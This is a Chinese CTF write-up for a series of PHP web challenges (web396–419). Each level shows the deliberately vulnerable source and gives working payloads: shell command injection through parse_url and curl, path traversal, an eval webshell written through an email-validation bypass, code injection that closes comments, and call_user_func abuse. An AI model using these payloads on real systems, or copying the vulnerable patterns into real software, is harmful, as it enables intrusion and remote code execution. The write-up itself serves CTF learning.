文章目录
web396
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);
}else{
highlight_file(__FILE__);
}
可以先在本地测试一下parse_url()
<?php
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
}
那么这题会把host,也就是域名输出到path路径中,可以用反引号来rce
payload:
?url=http://`ls`/var/www/html/1.txt
?url=http://`cat fl0g.php`/var/www/html/2.txt
web397-401
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}else{
highlight_file(__FILE__);
}
在上一题基础上加了/tmp
,先在本地试一试加../
可不可行
发现是可行的
payload:
?url=http://`ls`/..//var/www/html/2.txt
?url=http://`cat fl0g.php`/..//var/www/html/3.txt
web402
<?php
#error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}
if(!preg_match('/;|>|\||base/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}
}else{
highlight_file(__FILE__);
}
这题把http和https协议过滤了,那换一个协议,用file
协议试试
payload:
?url=file://`ls`/..//var/www/html/2.txt
?url=file://`cat fl0g.php`/..//var/www/html/3.txt
web403
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}else{
highlight_file(__FILE__);
}
一开始正则看的有点懵,后来在本地试了下,127.0.0.1
是可行的
?url=http://127.0.0.1/1;echo `ls`> 1.txt
?url=http://127.0.0.1/1;echo `cat fl0g.php` > 2.txt
web404
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}
}else{
highlight_file(__FILE__);
}
一开始一直在转圈,以为环境出问题了,后来看源码才知道要访问404.php
payload:
?url=http://127.0.0.1;echo `ls` >1.txt;11/a
?url=http://127.0.0.1;echo `cat f*` >1.txt;11/a
web405
<?php
error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
if(preg_match('/\~|\.|php/', $url['scheme'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}
}
}else{
highlight_file(__FILE__);
echo 'parse_url 好强大';
}
parse_url 好强大
scheme头必须有php
?url=httphp://127.0.0.1;echo `cat fl0g.php`>1.txt;11/a
web406
看大佬博客没看懂…先跳过了
web407
<?php
highlight_file(__FILE__);
error_reporting(0);
$ip=$_GET['ip'];
if(filter_var ($ip,FILTER_VALIDATE_IP)){
call_user_func($ip);
}
class cafe{
public static function add(){
echo file_get_contents('flag.php');
}
}
call_user_func()
这个函数以前遇到过,把第一个参数当作函数使用,其余参数是这个函数的参数。这里属于是调用类中的函数
payload:
?ip=cafe::add
web408
<?php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
file_put_contents(explode('@', $email)[1], explode('@', $email)[0]);
}
用双引号把想要写入的内容包裹起来就可以绕过检测
payload:
?email="<?=eval($_POST[a]);?>"@1.php
web409
<?php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
$email=preg_replace('/.flag/', '', $email);
eval($email);
}
?email="flagsystem($_POST[a]);?>"@1.com
a=cat /flag
web410
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}
FILTER_VALIDATE_BOOLEAN 过滤器把值作为布尔选项来验证。
Name: “boolean”
ID-number: 258
可能的返回值:
如果是 “1”, “true”, “on” 以及 “yes”,则返回 true。
如果是 “0”, “false”, “off”, “no” 以及 “”,则返回 false。
否则返回 NULL。
payload:
?b=yes
?b=on
web411
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}
过滤了on,还有yes
payload:
?b=yes
web412
<?php
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
include('flag.php');
}
先回顾下函数的用法:
file_put_contents(fileName,data,flags,context)
参数 | 说明 |
---|---|
fileName | 要写入数据的文件名 |
data | 要写入的数据。类型可以是 string,array(但不能为多维数组),或者是 stream 资源 |
flags | 可选,规定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATH:检查 filename 副本的内置路径FILE_APPEND:在文件末尾以追加的方式写入数据LOCK_EX:对文件上锁 |
context | 可选,Context是一组选项,可以通过它修改文本属性 |
这里由于flag.php是不可见的,需要写入代码,让它变得可见,但是在写入的前面已经有了一个注释符,写入的代码都会被当成注释,这时需要加一个换行符
payload:
ctfshow=%0ahighlight_file(__FILE__);
web413
<?php
highlight_file(__FILE__);
$ctfshow=$_POST['ctfshow'];
if(isset($ctfshow)){
file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND);
include('flag.php');
}
用了/**/
的过滤方法,上一题的换行没用了,可以在两边分别将它们闭合
payload:
ctfshow=*/highlight_file(__FILE__);/*
web414
<?php
highlight_file(__FILE__);
include('flag.php');
$ctfshow=$_GET['ctfshow'];
if($ctfshow==true){
if(sqrt($ctfshow)>=sqrt(intval($flag))){
echo 'FLAG_NOT_HERE';
}else{
echo $flag;
}
}
在有字符串时,intval()函数返回0,所以可用负数
payload:
?ctfshow=-1
web415
<?php
error_reporting(0);
highlight_file(__FILE__);
$k = $_GET[k];
function getflag(){
echo file_get_contents('flag.php');
}
if($k=='getflag'){
die('FLAG_NOT_HERE');
}else{
call_user_func($k);
}
call_user_func()对大小写不敏感,采用大写绕过
payload:
?k=Getflag
web416
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctf{
public function getflag(){
return 'fake flag';
}
final public function flag(){
echo file_get_contents('flag.php');
}
}
class show extends ctf{
public function __construct($f){
call_user_func($f);
}
}
echo new show($_GET[f]);
直接调用
payload:
?f=ctf::flag
web417
<?php /*ctfshow*/
define('aPeKTP0126',__FILE__);
$cIYMfW=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$CBhSfw=$cIYMfW[3].$cIYMfW[6].$cIYMfW[33].$cIYMfW[30];$xWoIVy=$cIYMfW[33].$cIYMfW[10].$cIYMfW[24].$cIYMfW[10].$cIYMfW[24];$RkEEuV=$xWoIVy[0].$cIYMfW[18].$cIYMfW[3].$xWoIVy[0].$xWoIVy[1].$cIYMfW[24];$YFfKrW=$cIYMfW[7].$cIYMfW[13];$CBhSfw.=$cIYMfW[22].$cIYMfW[36].$cIYMfW[29].$cIYMfW[26].$cIYMfW[30].$cIYMfW[32].$cIYMfW[35].$cIYMfW[26].$cIYMfW[30];
eval($CBhSfw("JGpYanRLZD0ianBRRHVrYkd3eW5abWlWek1mc0pDb0hGTnJxSUJTaGRQQXhMT0tFZ1d0dlVUZVJYYVlsY1RjUkNadW5WbWpHVUtIZUlmT2RZWHNEa1N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CR4V29JVnkoJFJrRUV1VigkalhqdEtkLCRZRmZLclcqMiksJFJrRUV1VigkalhqdEtkLCRZRmZLclcsJFlGZktyVyksJFJrRUV1VigkalhqdEtkLDAsJFlGZktyVykpKSk7"));
?>
看到代码一脸懵逼。。。去看大佬博客,说是最终解密出来是这样的
<?php
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
echo $flag;
}else{
echo 'FLAG_NOT_HERE';
}
?>
payload:
?ctf=show
web418
<?php
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);
//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);
extract($_POST);
if($key===0x36d){
//帮黑阔写好后门
eval('<?php '.$ctfshow.'?>');
}else{
$die?die('FLAG_NOT_HERE'):clear($clear);
}
function clear($log){
shell_exec('rm -rf '.$log);
}
注意看网页滚动条,最下面还有一个函数,这题给的后门是无法使用的,需要用clear()函数。
payload:
clear=;echo `ls`>1.txt&die=0
clear=;echo `cat flag.php` > 1.txt&die=0
web419
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(strlen($code) < 17){
eval($code);
}
payload:
code=system("ls");
code=system("nl f*");